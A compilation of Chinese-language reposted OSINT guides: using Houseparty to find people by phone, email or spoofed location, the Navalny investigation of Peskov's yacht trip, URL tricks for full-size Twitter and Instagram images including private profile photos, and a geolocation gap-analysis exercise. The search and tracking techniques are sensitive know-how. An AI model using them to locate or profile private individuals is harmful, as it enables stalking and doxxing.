- 第 25 行：这里我们告诉 Pynoramio API 根据使用边界框设置的纬度和经度值进行搜索。
- 第 28 行：现在正在检查我们的搜索是否有任何结果，开始遍历每个搜索结果，以便可以将它添加到我们的 HTML 文件中。
- 第 33 行：这是在每个搜索结果上循环的地方。

- 第 36 行：这里将搜索结果格式化为 Google地图链接，以便在我们加载 HTML 页面时，可以点击 Panoramio 中的图片并显示该照片的标记位置。

好啦重点部分完成。注意，在代码中看到缩进的地方，您必须完全按照示例中的方式缩进（使用键盘上的 TAB 键）。Python 依靠这个缩进来处理你的代码。

继续添加更多代码，然后就可以开始使用它了。

「图」

好了。来看看这里有什么：

- 第 42–43 行：我们想为新 HTML 文件创建一个文件夹，所以这里只是检查是否已经有一个文件夹，如果没有，使用 os.mkdir 来创建一个新文件夹名称。
- 第 46 行：这里打开 HTML 文件，以便可以将搜索结果写入其中。代码的 %s 部分将采用我们的 search_name 变量并替换它。所以在这种情况下已经创建了一个新文件夹“BellingcatRaqqah”，然后创建了一个位于“BellingcatRaqqah\BellingcatRaqqah.html”的新 HTML 文件。
- 第 49 行：这里只是创建 HTML 文件的第一部分，以便浏览器可以正确打开它。
- 第 52 行：这是神奇诞生的地方。调用之前创建的 panoramio_search 函数来执行实际搜索并更新 HTML 文件。
- 第 55–56 行：这里只是写出日志文件并关闭文件。

准备运行它。如果将其保存到桌面，可以通过双击来运行，也可以使用命令行执行以下操作：

「图」

您应该在桌面上看到一个名为“BellingcatRaqqah”的新文件夹，其中包含一个 HTML 文件。如果您双击 HTML 文件，应该会看到一个巨大的页面，其中包含一张又一张照片。点击照片，您的浏览器应该会打开一个新窗口，突出显示它在 Google 地图上的位置。

挖掘真相是一个非常有意思的工作，开源调查建立在对互联网庞大数据世界的深入探索上，顺手的工具非常重要，能帮你发现很多好东西哦。一起来玩。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

冠状病毒危机中的开源情报：追踪 “面对面的社交网络” - iyouport

开源情报-每个人都可用的武器

【2020年10月27日存档】尽可能从局势中挖掘机会，而不仅仅是抱怨时局

「图」

由于冠状病毒（COVID-19）的危机导致全世界更多的人在家工作。这也意味着人们将做更多的数字化工作：根据微软的数据，Skype 的使用量比上个月增加了70%。

人们不仅会为了工作，也会为了私人的事务和放松心情而进行更多的数字化操作。像 Houseparty 这样的移动应用就是对这一发展的有效回应。

而这些发展对于开源情报调查人员来说也很有意思。

Houseparty

「图」

据其创建者介绍，移动应用 Houseparty 是一个 “面对面的社交网络”。通过该应用，用户可以成为对方的 “朋友”，并进行视频通话。除此外该应用还为用户提供了一起玩游戏的机会。例如，一个用户在屏幕上显示问题，其他回答最正确的用户将赢得游戏。

开源情报和 Houseparty

「图」

Houseparty 不仅对任何寻求分散注意力和放松的人来说是有趣的。该应用程序还为开源情报调查人员提供了许多有趣的选项。

例如，您可以根据用户名、电话号码或特定位置找到其他用户。如果您很幸运，甚至可以“加入”一个家庭聚会。

Houseparty 安装

「图」

Houseparty 应用程序适用于iOS、Android、MacOS 和 Chrome。这意味着您可以通过手机或 Google Chrome 浏览器使用它。

下面的示例中使用了 Chrome 版本（也提供了扩展程序）。要在 Google Chrome 浏览器中使用 Houseparty，只需在网站 www.houseparty.com 上单击“Chrome”。

出现下面的登录屏幕。然后，您可以通过“注册”创建一个帐户。请勿使用任何可以追溯到您的身份的数据。

登录后，必须为该应用程序授予一些权限。例如，它需要强制访问您的相机和麦克风。

打开相机和麦克风显然违反所有隐私建议。因此强烈建议您仔细考虑是否真的有必要在调查中使用该应用程序。

注意：您可以使用网络摄像头保护罩/或黑胶带遮盖相机，并确保您的（内置）麦克风无法进行录音。

Houseparty 主屏幕

「图」

登录后，相机和麦克风已打开。您可以通过单击图标来使相机和麦克风静音。

该屏幕实际上并不包含太多相关信息。通过齿轮图标，您可以选择要使用的摄像头和麦克风，通过锁定图标可以关闭聚会，通过计算机图标，可以共享桌面。

尚未确切调查在 Houseparty 服务器上收集并记录了哪些信息，因为这不是本文的目的。

在 Houseparty 上搜索用户

「图」

在 Houseparty 上，您可以通过不同的方式搜索用户。例如，您可以使用用户名、电子邮件地址和电话号码查找用户；还可以找到附近的用户。

1、按用户名搜索

为了能够通过用户名搜索用户，请使用 Houseparty 搜索过滤器。在下面的示例中将搜索名为 “Tomas” 的用户。

搜索功能按名字和用户名运行。这意味着在搜索结果中，将显示名称和/或用户名中所有带有 “Tomas” 的用户。

点击用户的个人资料可以看到详细信息 —— 有了这个关键点，您就可以在其他网站和社交媒体上进行进一步搜索，也就是跨站追踪。

有很多用户在不同的网站和/或社交媒体平台上使用相同的用户名或个人资料照片。这对于追踪者来说会非常便利。

2、放大用户的个人资料图片

要看清楚目标用户的个人资料照片吗？右键单击 “复制图像地址”。

打开一个新选项卡，然后将图像粘贴到其中，然后 “Enter” 个人资料图片将以更大的格式加载。

您还将立即看到 Houseparty 的目标用户个人资料图片存储在哪里，即 在 res.cloudinary.com 的服务器上。

您想以更大的格式查看照片吗？将 “h_300，w_300” 部分更改为例如 “h_800，w_800”。

3、通过 **Houseparty** 移动应用程序进行搜索

许多 Houseparty 用户在创建帐户时输入了电子邮件地址和电话号码。

使用该应用程序需要一个电子邮件地址，电话号码是可选的。要基于电话号码或电子邮件地址搜索用户，您需要 Houseparty 移动应用程序。

这意味着您无法通过Web浏览器执行此步骤。下面的示例使用了 Android 模拟器 Bluestacks。

4、通过电话号码/电子邮件地址搜索

如果您已启动手机或 Android 模拟器，请先单击加号图标，然后单击“添加新朋友”。

之后，您可以选择添加好友，基于其姓名、您的电话联系人、Facebook 联系人或当前位置。

在这里选择选项“从联系人添加”。如果您的电话联系人在 Houseparty 上拥有一个帐户，将在这里自动看到它。

如果还没有在联系人中，可以在手机通讯录中输入目标的电话号码或电子邮件地址。请注意！仅限于在干净的一次性手机或虚拟电话中执行此操作，以避免同步您真实的私人或业务联系人。

5、按位置搜寻

您是否要根据您当前的位置搜索用户？单击“添加附近的人”选项，现在将要求您授予位置共享权限。请注意，这可能会显示您的当前位置。

建议您首先将您的位置欺骗到另一个虚拟位置，即 目标人可能的所在位置。您可以使用内置的 Location Provider 通过 Android 模拟器来欺骗位置。如果您使用其他手机，可以下载一个位置欺骗应用。具体参见下面：

- 《如何欺骗地理位置以使用 Telegram 的新功能查找任何感兴趣的人》

现在将自动显示其位置已打开且“添加附近的人”功能已打开的用户。

现在，您可以知道看到的用户在您附近，但尚不清楚该用户与您有多远。请记住，您可以欺骗位置，其他人也能这么做。

完成调查了吗？

「图」

您完成调查了吗？不要忘记重置某些权限。在 Google Chrome 浏览器中，执行以下操作：# 进入 chrome://settings;

- 在 “隐私和安全” 下，单击 “更多”；
- 点击 “Site Settings”；
- 根据您的喜好调整权限。

当然，别忘了清除 cookies。

最后

「图」

aware-onlin 的这篇介绍很简单，但是，它的确支持了IYP一直以来的思考方式，即：尽可能想办法在局势中挖掘机会，而不是仅仅抱怨时局。

当然，这只是所有思考方式中的一种，对于远程会议应用程序，我们当然有很多理由担心其安全性，并做出必要的提醒。

这篇介绍中最为突出的一点就是对跨站追踪的使用，这类视频会议应用程序要比分享照片的平台如 Instagram 具有更强的追踪识别能力。如果您不得不使用这种软件，请特别小心！应该使用与您的其他社交媒体账户完全不同的名字、邮箱和电话号码。〇

OSINT investigations on Houseparty

原文

利用开源调查揭露腐败 #OSINT - iYouPort

开源情报-每个人都可用的武器

互联网是数据的富矿，对任何人来说都是如此。于是我们没有理由一直处在被他们干的地位上，我们完全可以干他们。只需要足够的知识和技能

「图」

上一次我们对开源调查的演示中呈现了一个框架，关于如何使用简单的数据收集程序追踪避税的大公司。当然，这个方法也能用来追踪其他离岸资金，而且这个模型还能用来做很多事。

本文将呈现的是开源调查在揭露腐败中的使用方法。事实上也非常简单，重在知识、逻辑和协作能力，并且这套文章旨在提示以下几个问题：#动员更多人正视并追求真相，如果信息掺假太多（就如一直以来推特中文圈所呈现的那样），对独立调查中的数据收集来说是极大的干扰；

- 需要积极创新，不断寻找并汇集更多更新的资源，因为有些案例中呈现的关键线索（思路）有可能会是一次性的，随着调查的曝光，尚未被触及的权势会有意规避这些“前车之鉴”；
- 有些东西我们的文章没有讲述，只为避免这些知识在流传开来被更多人接收到之前被掐灭，就如你所知道的，很多国家对“煽动”的定义都非常模糊，一旦权力感觉到了挑战，相关言论者便可被定义为“煽动”。既然是行动主义呈现，那么就不需要讲太多啦，框架是明确的，一些细节想必您可以知道该如何获取。
- 并非不需要线报。线报将提示你应该从哪里开始，而必需知道，线报不一定是真相，调查工作就是要去证明或真伪它，找到充分的凭据。

下面开始演示这个案例。前提是这样的：

俄罗斯总统弗拉基米尔·普京（Vladimir Putin）的新闻秘书德米特里·佩斯科夫（Dmitry Peskov）卷入了手表丑闻，这一丑闻在他与前奥运冰舞运动员 Tatiana Navka 的婚礼中被突出出来。这块表被证明价

值高达 60 万美元。

从一块手表开始，俄罗斯反腐败活动家 Aleksey Navalny 和他的支持者们利用开源调查技术展开了挖掘，目的是找到证据以反驳谎言，因为当事人一直在通过官方媒体斥责民间的质疑。这是一个典型的 OSINT 操作方法，即以挖掘基本功的普及为基础，一群志同道合的人无需见面即可使用互联网展开合作。

这就是互联网价值的最大化 — — 连接和协作。匿名者组织等松散协作的组织正是互联网最优秀的产物。

下面我们将呈现 Navalny 和支持者们的工作思路。我们希望的是将来能有中国独立调查者使用科学的方法和逻辑加入到反抗中来，启动对真相的追求，而不是沉迷于传闻。

Navalny 的 OSINT 研究方法

线报最先提示的是正在地中海航行的游艇 “Maltese Falcon”号。当时这艘游艇每周的租金为385,000欧元（约合426,000美元）。

这一步很容易。关于 Maltese Falcon 很大一部分信息可以直接从该公司的网站上找到（http://symaltesefalcon.com）。该网站提供游艇的价格、内部和外部的大量照片（与社交媒体上传的照片做对比即可），以及船只的确切规格。

「图」

「图」

但是，这个网站上的“跟踪”功能提供了非常过时的信息 — — 发送到网站的最后一份报告标记这艘船停留在土耳其海岸附近。事实上它早已离开了。

「图」

这是怎么知道的？就如上图：**Vessel Finder** 网站。它的运作方式与你肯定熟悉的 Flight Aware 或 Flightradar24 类似，它能提供各种海船坐标的持续更新，包括货船，渔船，当然还有游艇。

点击 Maltese Falcon 在 Vessel Finder 网站上的“Track”按钮，可以看到游艇最近在地中海的运动。

「图」

任何看过“Rich Kids of Instagram”的人都知道，这世界上的确有1%（或者0.1%）的人很喜欢炫耀自己的财产和拥有的东西，其中就包括富有的官僚和政治家的朋友和家人。Navalny 特别关注了两个人的 Instagram 账号：Peskov 的密友 Oleg Mitvol 和 Peskov 的继女 Aleksandra。

这个 Mitvol 是 Peskov（即调查对象）的长期密友，最近他以摄影师的身份获得了一些名声。他拍摄了 Peskov 的形象，戴着昂贵的手表的照片引起了舆论轰动。Mitvol 发布了两张游艇的照片，一个被称为“A”，该游艇由 Andrey Melnichenko 拥有，此人是俄罗斯的第九号巨富，另一艘游艇是“Garcon”。

「图」

「图」

如果不是因为这两艘游艇与 Peskov 据称租用的游艇位于同一地点，这些照片也许还不会那么引人注目。Navalny 通过研究三艘游艇的位置证明了这一事实（“A”，“Maltese Falcon”和“Garcon”）。

11日，“A”和“Maltese Falcon”在卡普里海岸附近停在一起：

「图」

四天后，“Maltese Falcon”和“Garcon”彼此相邻。在这次相遇结束过不久，Mitvol 就在 Instagram 上发布了游艇照片。

虽然 Navalny 对游艇交叉踪迹和 Mitvol 的调查很有意思，但也不如他的（新）继女 Aleksandra 发布的照片那样具有诅咒意味。这姑娘在佩斯科夫的蜜月期间发布了一系列的照片，其中还包括撒丁岛的地理标记：

「图」

但是地理标记是不能作为证据的，因为它可以伪造。Navalny 深入挖掘，他注意到 Aleksandra 穿着的浴袍上绣着的字样，因为拍照时她正站在似乎是海船的地方。就是下面这样：

「图」

字母“-ALTES- FALC-”是清晰可见的，清楚地表明她目前所在的游艇的名称，“Maltese Falcon”。

总之，Navalny 的研究表明，Peskov 的亲密朋友奥列格·米特沃尔（Oleg Mitvol）最近在他的婚礼上、以及他的继女，在蜜月期间都在“Maltese Falcon”游艇上。然而，Peskov 本人无处可寻，并且在 Navalny 的研究中没有直接的证据可以证明 Peskov 以其相对微不足道的薪水支付了这艘游艇如此高的租金。

Mitvol 告诉俄罗斯新闻媒体 Yod，他和极其富有的瑞士律师 Dmitry Yakubovsky 在船上，Peskov不在。 Mitvol 没有说明 Peskov 的家人与他和 Yakubovsky 在船上的存在，或者为什么这位15岁的 Peskov 的继女显然是在和两名年龄大她三倍的男子在地中海航行。

公众的 **OSINT** 研究方法

如上，Navalny 在 OSINT 研究中已经挖到了一些细节，但这还没有结束，在 Twitter 和互联网其他地方讲俄语的人们继续将这项研究带入了新的领域。他们使用了许多与 Navalny 相同的方法，但扩展了范围，更不用说其他一些创新的 OSINT 工具了。

像 Navalny 一样，一小群讲俄语的开源调查员和博客写手使用 Instagram 来发现游艇“Maltese Falcon”行踪的证据，以及正在航行的人。更进一步，公共调查人员使用 Gramfeed 服务搜索照片，以便对来自俄罗斯度假者的匹配图片进行地理定位。

注：Gramfeed 是 Instagram 的一个第三方应用网站。有了它你就可通过浏览器在线搜索和查看Instagram中的图片，而不需要任何 iOS 设备。Gramfeed 具有搜索热门图片、查看自己上传过的图片以及图片回复功能；增加了“like”和评论、用户搜索、关注和取消关注等功能。

这张由 Mitvol 贴出来的照片和一个名叫“white”的撒丁岛咖啡店很容易通过 Gramfeed 来进行地理定位，因为现场是很上相的：

「图」

通过搜索 Gramfeed 中的可能位置，一张从咖啡馆内发出的照片，显示了相同的椅子，灌木丛和整个周边场景：

「图」

「图」

Webcams

开源调查员们对这些在 Instagram 上发布的旧的静态照片并不满意，在撒丁岛发现了一个可公开访问的网络摄像头，其视野正是 Maltese Falcon 游艇离开的海岸线。

正如 Euromaidan 出版社的工作人员 Reggae Mortis 的推文所详述的那样， Maltese Falcon 号于8月16日在帕劳港口被一个网络摄像头捕捉到了。幸运的是，对于调查此事的参与者来说，网络摄像头的拍摄内容已被保存并可延续到第二日。

「图」

通过一些快速的地理定位工作， Maltese Falcon 号的位置被确认为与网络摄像头中可见的船只相一致：一名博客写手也找到了一个可以公开访问的酒店 Cala di Volpe 的网络摄像头，捕获到了 Maltese Falcon，并且获取了第二艘游艇的定位：

「图」

「图」

「图」

「图」

「图」

虽然 Navalny 准确地注意到了 Peskov 的继女在 Maltese Falcon 号上的存在，但他没有注意到另一名乘客：Peskov 的亲生女儿 Liza Peskova。Liza 在 Navalny 的调查报告发布前四天，贴出了一张自拍照 — 在 Peskov 度蜜月的时段里，据说他在一个不明地点租了游艇。

Navalny 的助手 Georgy Alburov 透过 Liza 的 Instagram 浏览，发现上周在海上的船只上拍了两张自拍照，这些照片在卡普里岛和西西里岛的海岸线上进行了地理标记（元数据）。

注意下面这张图，在 Liza 的自拍中可见的一扇门（带有可识别的标记），对比游艇网站展示的内部图片，它就是 Maltese Falcon 号预览图中所展示的那个门：

「图」

照片上的元数据显示其拍摄地点在卡普里岛附近 — 与 Maltese Falcon 号的旅行日志具有相同的位置。

公众的这项研究提供了有力的证据，证明 Mitvol、Peskov 的继女 Aleksandra 和他的亲生女儿 Liza 都在8月中旬在位于卡普里岛和撒丁岛海岸的 Maltese Falcon 号上。

尽管 Navalny 和他的支持者的综合研究很有意思，但到此为止仍然没有能证明 Peskov 在游艇上的实际存在，或者驳倒他的任何彻头彻尾的谎言，因为他声称他和新娘在西西里岛。然而，故事并没有在这里结束，OSINT 的进一步研究揭示了故事中更多的隐藏细节。

17日，Peskov 的新娘 Tatiana Navka 在 Instagram 上贴了一张照片，上面显示了这对新婚夫妇在西西里岛陶尔米纳的一家酒店，其标题似乎是在向 Navalny 和他的调查人员喊话："不要在黑暗的房间里找黑猫了。特别是当它并不存在的时候！"非常嚣张。

这种反驳和明显的证据表明 Peskov 和 Navka 真的是在西西里岛的一家酒店，正如他声称的那样，简直是火上浇油。

「图」

这并不是一个复杂或稳妥的 OSINT 调查方法; 然而，仍然值得注意其原创性。

Navka 的 Instagram 图片显示了 Peskov 的脑袋，引起了 Twitter 用户 @Neiswestnij 的注意。正如他所指出的那样，Peskov 的头发似乎在一周的时间内长得太快了点儿，对比他在婚礼上的照片（上图）和他一周后的蜜月照片（下图）查看头发的长度和密度：

「图」

在进一步深入研究 Peskov 过去一年的照片之后发现，在一年前这位新闻秘书的后脑勺更接近 Navka 近期贴出的照片。这个思路的另一个转折点是 Peskov 的脑袋，而不是他的脸，这是因为他在前一年的夏天剃掉了著名的胡茬，并且在过去的一年中又长出来了。因此，根据这个逻辑，最新贴出的这张图片是旧的。

「图」

一年前

回到 Instagram，这是 OSINT 研究中最有用的工具之一。敏锐的开源调查人员回顾了 Navka 的 Instagram 照片，发现她在 56 周前真的去过西西里岛的陶尔米纳酒店。这意味着来自 Navka 和 Peskov 的 Instagram 图片可能是在一年前拍摄的，而不是在他们的蜜月期间拍摄的。

Navintny 及其支持者的 OSINT 研究证明了开源调查的全部可能性和局限性。

一方面，Navintny 无法明确证明这艘游艇是由 Peskov 租用的，而且无法证明他就在游艇上。另一方面，开源调查显示，他与新娘在西西里岛酒店的声称存在明显的不确定性，他的亲密朋友和女儿/继女这段时间内确实在地中海巡航，乘坐最昂贵的游艇。尽管有一些尚未解决的问题，但 Navalny 和俄语调查员们的 OSINT 方法提供了揭露腐败的一个清晰思路。

那么，局限性将如何弥补呢？自然是开源的对面“闭源”，其中包括透明度革命所依赖的通过安全渠道输送的内部举报、卧底、以及更多技术性手段（将来详细介绍框架）。办法有很多，只要人们真的需要。目前全球很多老牌媒体已经纷纷进入了对匿名举报的拥护，其信息源不论是内部人士还是黑客，只要证据是切实的，都同等重要。

调查不需要关心消息源头的身份，唯一需要的只是确保消息本身的真实。

如果您想知道，调查结束后可以在哪里获得公正的问责，可以参见这篇文章《民间独立非政府组织如何与联合国人权委员会合作以改善国家的人权状况？》文章中介绍了一些流程，以及工作中可以利用的技巧。要想和其他国际权利组织合作也会有很好的效果，联系方式等信息网上都有。

总之还是那句话，反抗需要更多更充分的知识和技能，因为你的对手很强大。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "https://paypal.me/iyouport"

原文

别让社交媒体的自然模糊阻挡真相 - iYouPort

开源情报-每个人都可用的武器

小技巧的用途有可能很大

「图」

「图」

从 Twitter 和 Instagram 等社交媒体捕获的图像可能是任何 OSINT 调查的重要部分，但是在 Web 浏览器中呈现给我们的图像很少与首次拍摄和上传时的图像质量相同的。

不仅图像被剥离了对研究者非常有用的 EXIF 数据，与原始图像相比，它们的质量也通常会明显降低。

这意味着网页加载速度更快，对普通使用来说不成问题，但是，如果您正在搜索照片以获取重要的调查细节，照片的分辨率将产生非常大的影响。

本指南将介绍如何通过调整与照片相关的 URL 以帮助 Twitter 和 Instagram 上发布的图像恢复更高的分辨率（包括私人 Instagram 个人资料图片）。

Twitter

这是一种非常简单的方法。在这个例子中，我将使用在阿姆斯特丹的 Hunzestraat 拍摄的照片：

「图」

「图」

上传高分辨率版本的图像后，Twitter 会在将其呈现给浏览器之前对其进行压缩，因此当您直接查看图像时，您看到的是默认使用 Twitter 认为的图像的“大”版本 —— 但这样不一定是最好的品质。

如果你看一下 URL 就更清楚了。要获取 URL，请右键单击图像并选择“查看图像”，或将图像 URL 复制到新的浏览器选项卡中。

这是上例中图像的默认 URL：

https://pbs.twimg.com/media/D6nWO_gXsAAJPUN.jpg:large

如果您双击此图像，就可以放大以获得更好的外观，还可以获得比这更详细的信息。

请注意，默认情况下，Twitter会将 “large” 附加到.jpg扩展名的末尾，这是对所有图像的默认行为。

但是，你可以调整 URL 并将“large”替换为“orig”，以获得最初上传的大小的照片链接：

https://pbs.twimg.com/media/D6nWO_gXsAAJPUN.jpg:orig

现在，当您双击放大图像时，将获得比以前更高的分辨率，这使得查找重要的小细节变得更加容易。

如果您比较上面两个不同网址的结果，您可以看到差异。

Instagram 图片

这个稍微复杂一点，但工作原理相同。

Instagram 默认情况下会降低图像的分辨率，但通过识别 URL 并进行调整，可以获得更高分辨率的图像。

在这个例子中，我使用最近发布的伦敦塔桥图片：

「图」

「图」

找到想要仔细查看的图像后，右键单击它并选择“View Page Source”：

「图」

「图」

现在您可以看到该特定网页的源代码。即便您不是 HTML / CSS 专家也不用担心 —— 我们所寻找的只是我们要查看的图像的 URL。

Instagram 使用“og：image”作为 URL 的前缀，因此通过使用 Ctrl ＋ F（Linux / Windows）或 Command ＋ F（Mac），您可以快速搜索页面源代码以获取 og：image 标记并找到完整的 URL 图像。

在下面的屏幕截图中，我突出显示了我们正在寻找的部分：

「图」

「图」

所以，你能知道，真实的 URL 是这样的：

https://instagram.fman3-1.fna.fbcdn.net/vp/15f75e15d5cc74ae60496daf5511371a/5D9CB3E7/t51.2885-15/e35/p1080x1080/59602185_140130563820477_4051431576956303539_n.jpg?_nc_ht＝instagram.fman3-1.fna.fbcdn.net

「图」

「图」

如果您单击刚刚提取的链接，现在就能看到 Instagram 最初呈现给您的图像的更大版本。

在图像的 URL 中，您可以看到详细信息p1080x1080。这是显示图像的新分辨率，其质量远高于默认的 Instgram 设置。

Instagram 私人资料图

这需要稍微不同的技术来访问您需要识别的 URL，但它允许您查看 Instagram 个人资料图片的高分辨率版本，即使该帐户是私有的。

这不是说允许您查看所有设置为私有的图像，但根据调查的性质，查看 Instagram 个人资料图片的高分辨率版本仍然很有用。

我将使用著名的 meme 账号 @ShitheadSteve 作为例子。右键单击它并查看时，这就是他的个人资料图片：

「图」

「图」

这是一个非常低质量的图像—只有150 x 150像素。在 ShitheadSteve 的情况下，如果要得到这个图像的放大版本可能就会看到更多的东西，但是当需要额外的细节时，技术完全相同。

这种技术使用一种 URL 操作来访问 Instagram 为所有帐户生成的 JSON 文件 —— 甚至是私有帐户。

在 JSON 文件中，有一个指向我们想要访问的全尺寸图像的链接，其方式与上一个 Instagram 示例类似。

我们需要的 URL 如下所示：

https://i.instagram.com/api/v1/users/USERID/info/

只需要将“USERID”替换为 ShitheadSteve 的正确唯一用户ID。

有几种方法可以做到这一点，但 CodeOfNinja 相比下是快速而简单的方法：

「图」

「图」

很容易可以找到，ShitheadSteve 的 ID是 1364166629，所以现在我们可以将它添加到 URL 中以获取对 JSON 文件的访问权限：

https://i.instagram.com/api/v1/users/1364166629/info/

现在可以看到包含我们所追求的更高分辨率图像的 URL 的配置文件数据。在页面下方，至少有三个链接到该图片的不同分辨率版本：

「图」

「图」

你可以看到320×320、640×640和1080×1080版本的个人资料图片的链接 —— 都比 Instagram 默认提供的150×150版本要好得多。

这是一个私人账户也不要紧。只需单击 URL 即可查看图像。在这种

情况下，可以在此处查看最高分辨率版本：

https://instagram.fman3-1.fna.fbcdn.net/vp/10d2eee8cc1bd4bdb2b5e4e6e8b6fd87/5D9CBE3A/t51.2885-19/20686663_183184438888795_924418902178398208_a.jpg?_nc_ht＝instagram.fman3-1.fna.fbcdn.net

如果您需要了解图片背景中的细节，或者想要近距离查看刚刚向您发送关注请求的陌生人，这种方法对您来说会非常容易。

好啦，我们明天计划推送的内容中就用到了这一方法，那将是 一个侦探游戏的小挑战。希望您感觉有趣。明天见。〇

Using URL Manipulation To Get Higher Resolution Instagram and Twitter Images

广告

原文

千头万绪怎么办？介绍一种很重要的信息验证和深入调查方法 - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

你应该掌握它，并同时不要让它掌握你，这很重要

「图」

「图」

这里介绍的方法是真相调查、信息验证和情报分析工作的一项重要技能。

曾经介绍过，比如这里《广泛的数据收集不是目的，能回答问题才是：一个可随身携带的强大工具协助深入调查》；再比如一个演示《虚假信息游戏：社交网络纷杂的信息环境下如何击败阴谋论？》。

正因为它非常重要，于是本文会从另一个比较完整的角度再说一次。

侦探挑战小游戏是一个很好的平台，可以演示如何应用这种方法，它既适用于小型的开源情报难题，也适用于广泛而复杂的调查。

还记得侦探游戏吗？您可以在下面回顾：

- 《那辆军车正驶向哪里？：侦探挑战时间》
- 《侦探挑战游戏：快速地理定位的两种方法》
- 《侦探挑战：间接证据和排除法》
- 《侦探挑战小游戏》
- 《侦探挑战时间：让井盖和自行车说话》

如果您遇到信息过载的问题，差距分析可以帮助您建立一个框架来评估信息，并确定应重点关注哪些和不关注的哪些。

同样，如果您一开始掌握的信息很少，差距分析是评估您所拥有的东西（通常比您想的要多）并从那里开始计划下一步如何深入的系统性

方法。

今天要演示的依旧是侦探挑战游戏中有趣的题目。这是 Julia Bayer 发布的，通过它可以展示如何使用这种有条不紊的方法来解决一开始似乎无法克服的难题。

这次挑战的题目是下面这张照片：

「图」

「图」

Julia 说她在周末（即10月5日至6日）拍摄了这张照片，并提问拍摄的准确日期和时间。

初看起来这似乎是关于时间的问题，但是，首先您需要做的是地理位置，因为除非先知道拍摄地点否则不可能知道时间。

什么是差距分析？

差距分析实际上只是一种简单的方法，可以对您所拥有的信息进行排序，确定您需要对哪些东西进行处理，然后提出结构化的回应以推动调查。

它是一个好仆人，但可能是一个糟糕的主人，所以，不要让它阻止你的脑洞。

⚠绝对可以保证在任何类型的调查中都有可能出现的错误是：在一开始时做出了不必要的假设，然后在这些假设的基础上进行调查，然后就走进邪路了。用这种方式构建的案例最终将彻底崩溃。

你需要避免这点。

差距分析提出了四个简单的问题：#我知道什么

- 这意味着什么
- 我还应该知道什么
- 我如何找到它们

1. 这张照片是 Julia Bayer 拍摄的

- Julia 曾经住在科隆，但她最近发表的一些帖子都在柏林

- 这张照片是在10月5日或6日拍摄的
- 当时太阳距离地平线很近
- 拍摄者站在某种山丘上
- 视野前方是一个建筑工地
- 似乎有一个公园或公共人行道
- 在“公园”和公寓之间存在一个空隙 —— 可能是运河、铁路、小河或类似的东西

1. 正面是一些公寓

- 地平线上几乎没有明显的特征，但是远处有一个高大的烟囱

「图」

「图」

遥远的烟囱

因此，我们已经有了关于照片的十个事实。请注意，照片本身并未包含上述1–3点 —— 它们与摄影者有关。⚠研究图像本身携带的信息有时候比图像更重要，

现在转到第二个问题。请注意下面每个编号都对应于上述问题的编号点。

2、这意味着什么？

1/ 如果能知道提问者最近出现在哪里，就能大致推测拍摄地点。

2/ Julia 可能在柏林。她最近的推文是来自柏林的。但这不确定，在没有其他明确的城市选择的情况下，就先从柏林开始。

3/ 有了位置推测后，就可以找到非常合适的参数以确定时间。

4/ 这意味着它要么在日出之后，要么在日落之前。首先，我将假设时间接近晚上。如果真是这样，那么拍摄者大约面向西方的位置（如果现在是早晨，那么就是正对着东方）。

「图」

「图」

如果是日出的话这个季节会很冷，怎么会有人坐在地上呢？

5/ 拍摄者的位置看起来是在丘陵或某种起伏的地面上，因为比较高。

6/ 那个建筑工地太讨厌了，它们是短期和临时的，因此通常不会出现在地图和卫星图片上。这也可能表明过去曾在这里进行过拆迁工作，因此，如果建筑物被拆除等，某些卫星图像可能会过时。不应该过多地依赖于此。

7/ 如果有一种方法可以在地图上显示所有公园，这将有助于缩小搜索范围（的确有这样的方法！）。

8/ 这个缝隙很有趣。它看起来太小了，施普雷河可比这大多了，但是它可能是某种形式的运河。而且没有迹象显示为铁路。

9/ 这个猜测很重要，将有助于确认照片的方向。如果找到正确的位置，就可以使用街景图和谷歌地球来寻找公寓，以重建拍摄者的视图。

10/ 烟囱！这个很重要，因为如今现代城市并不多。如果假设拍摄者正对着西方（按照上面第4条），那么应该能够在柏林找到一个高大的烟囱，然后将自己的视角定向在东西方的直线上。

或者，假设上述推测是错误的，也就是说拍摄者正对着东方，那么仍然可以通过烟囱的相反方向以找到位置。希望柏林没有太多高大的烟囱。

3、我还应该知道什么

一个小的调查框架已经开始形成了。上述第十点显然是最重要的问题，因此将成为优先事项。这意味着我需要了解以下内容：

1/ 柏林最高的烟囱在哪里？它们看起来是什么样的？像这张照片吗？

2/ 那里有几个烟囱？（如果有数百个，则可能需要很长时间，别怕那是不可能的）

3/ 如果找到了烟囱，是否可以以此为基点朝东西方向移动，并找到与上述所有其他条件匹配的位置？只有一种方法可以找出...

4/ 柏林多少公园？我需要找到一个靠近运河或任何不寻常的缝隙的公园，并且还必须正确地对准烟囱。

4、我如何找到它们

1/ 图像搜索“ **schornstein ＋ Berlin**”（烟囱＋柏林）将显示烟囱的图像。

2/ 通过研究Google中的图像，可以根据发现的内容在 **Google Earth** 上识别并定位烟囱。也可以使用 Google Maps 3D视图，但是 Google Earth 将允许你添加注释，这将有助于定位。

3/ Google地球还将在地图上标识公园，这将有助于重点关注该位置。

4/ 这就是我接下来要做的。如果陷入困境，只需要使用更新后的发现重新检查差距分析计划，然后再次重复该过程，直到找到答案为止。

将计划付诸实施

本计划要做的第一件事是加载 Google 图片和Google地球。以下是搜索“ schornstein ＋ berlin” 的结果：

「图」

「图」

立即清楚地看到一个特定的烟囱出现了好几次 —— 由于某种原因，它必须位于搜索结果的顶部。

顶部有一个独特的红白图案，然后在下半部分又出现了相同的图案。在返回的前18个结果中，有5个匹配项。这个频率比柏林的任何其他烟囱都多，因此它是一个很好的起点。

快速单击匹配的图像可以知道这是位于柏林米特区 Invalidenhof 的烟囱。

现在找到它并将其标记在 **Google Earth** 上：

「图」

「图」

启用Google地图上的“公园/娱乐设施”层。差距分析确定正确的位置可能在前景中有一个公园，因此突出显示它们将有助于更快地识别区

域：

「图」

「图」

假设拍摄者正对着大约西方。因此，如果此烟囱是面向西位于左后方的那一个，我应该能够调整自己的方位，以便该烟囱出现在我的 Google 地球视图的左后方。

于是在 Google Earth 中添加两行内容，以帮助规划我要采取的方向。目的是重建相同视图的烟囱。

「图」

「图」

如果前面是对的，也就是说目标烟囱是对的、而且时间假设也是对的（即黄昏，向西看），那么拍摄者的位置在上面图中两条粉红色线条之间。

